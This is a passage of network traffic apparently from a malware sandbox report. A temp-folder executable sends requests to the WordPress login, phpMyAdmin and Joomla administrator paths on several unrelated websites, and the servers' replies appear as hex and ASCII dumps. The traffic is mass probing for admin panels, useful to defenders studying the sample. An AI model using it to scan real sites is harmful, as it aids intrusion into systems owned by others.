{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:26 UTC	478	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f Data Ascii: l; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 72 66 6c 6f 77 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 Data Ascii: rflow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:ri
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 Data Ascii: x-error-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" clas
2023-12-20 02:13:26 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 Data Ascii: udflare and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">Wh
2023-12-20 02:13:26 UTC	1235	IN	Data Raw: 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 62 35 39 31 32 33 37 34 39 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 Data Ascii: ID: <strong class="font-semibold">83845db59123749a</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	56616	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	329	OUT	GET /wp-login.php HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Y7xcXogz8ISCVKrVbWmysxljsXqp+MXSHuVCaGvHzne0tGR4fyqDdedn0gYsr056cayUhX/WbsiTy9hpa6tyiA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:26 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	56614	151.101.1.195	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: geoffreynolds.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	456	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 59 Location: https://www.geoffreynolds.com.au/phpmyadmin/ Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:26 GMT X-Served-By: cache-pdk-kpdk1780131-PDK X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1703038406.979538,VS0,VE22 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2023-12-20 02:13:26 UTC	59	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 65 6f 66 66 72 65 79 6e 6f 6c 64 73 2e 63 6f 6d 2e 61 75 2f 70 68 70 6d 79 61 64 6d 69 6e 2f Data Ascii: Redirecting to https://www.geoffreynolds.com.au/phpmyadmin/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	56750	199.60.103.25	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	410	OUT	GET /phpmyadmin/ HTTP/1.1 Host: greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=7c8794dbb9bf517796947dff97fab44d4974ccf3-1703038404; __cf_bm=fZwpL11j4L7WrdeL4euLn8ZdyRvVQKL2VBe1odLoH8c-1703038404-1-AWr2KhWI4ZYtMTn7GJ6/GMiNrPu+mgk/QfPQ6FUqWa1pAxsJXPdSrpHPA0A0MWW0wBT+laSVOsf3Gz7PHCaYgd0= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:26 UTC	761	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Length: 0 Connection: close Location: https://www.greenlawnfertilizing.com/phpmyadmin/ Cache-Control: s-maxage=3600,max-age=120 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests X-Hs-Https-Only: worker Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CjF66TvQhJUoECev1jDsQyg9YqmpJAzCqZAi%2FPG4%2FhpzaeJ080K82hyWU7UONicJxDLLy6EjxOBKbO%2Fp5jtOOz4Gei3DY5RA5FCm2q2%2BUOuJi30Fmcrixx6Gn%2BVK%2FDy0AceH2ORukqY1KQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845db60a9e749f-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	56684	209.126.24.60	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:25 UTC	325	OUT	GET /administrator/index.php HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=418218dce1ee6c20da692277ffb53164 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://horsetech.com/administrator/
2023-12-20 02:13:26 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=418218dce1ee6c20da692277ffb53164; expires=Wed, 20-Dec-2023 03:13:26 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:41 GMT
2023-12-20 02:13:26 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:26 UTC	970	IN	Data Raw: 61 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: a000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 09 Data Ascii: at: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: auto;
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f 64 79 22 0a 20 20 20 20 Data Ascii: pt>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="body"
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d 22 3a 20 7b 0a 20 20 20 Data Ascii: <span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form": {
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 Data Ascii: :{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal\/totals
2023-12-20 02:13:26 UTC	4096	IN	Data Raw: 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 61 6c 73 3c 2f 73 70 61 Data Ascii: ://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Minerals</spa
